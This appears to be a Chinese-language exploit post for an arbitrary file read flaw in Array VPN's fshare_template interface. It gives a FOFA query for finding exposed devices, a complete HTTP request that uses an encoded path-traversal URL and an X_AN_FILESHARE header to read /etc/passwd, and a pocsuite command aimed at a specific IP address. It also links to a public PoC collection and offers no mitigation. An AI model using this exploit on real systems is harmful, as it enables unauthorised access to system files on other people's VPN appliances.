一、漏洞描述
Array的 fshare_template 接口存在任意文件读取漏洞
二、网络空间搜索引擎
fofa查询 product="Array-VPN"
三、漏洞复现
poc :
GET /prx/000/http/localhost/client_sec/%25%30%30%2e%2e%2f%2e%2e%2f%2e%2e%2f%61%64%64%66%6f%6c%64%65%72 HTTP/1.1[出自:jiwo.org]
Host: xx.xx.xx.xx
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
X_AN_FILESHARE: uname=t; password=t;sp_uname=t;flags=c3248;fshare_template=../../../../../../../../etc/passwd
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
四、漏洞检测
pocsuite检测 pocsuite -r array-poc-heads.py -u https://203.225.253.99 --verify
漏洞检测脚本已上传免费漏洞库 : https://github.com/Vme18000yuan/FreePOC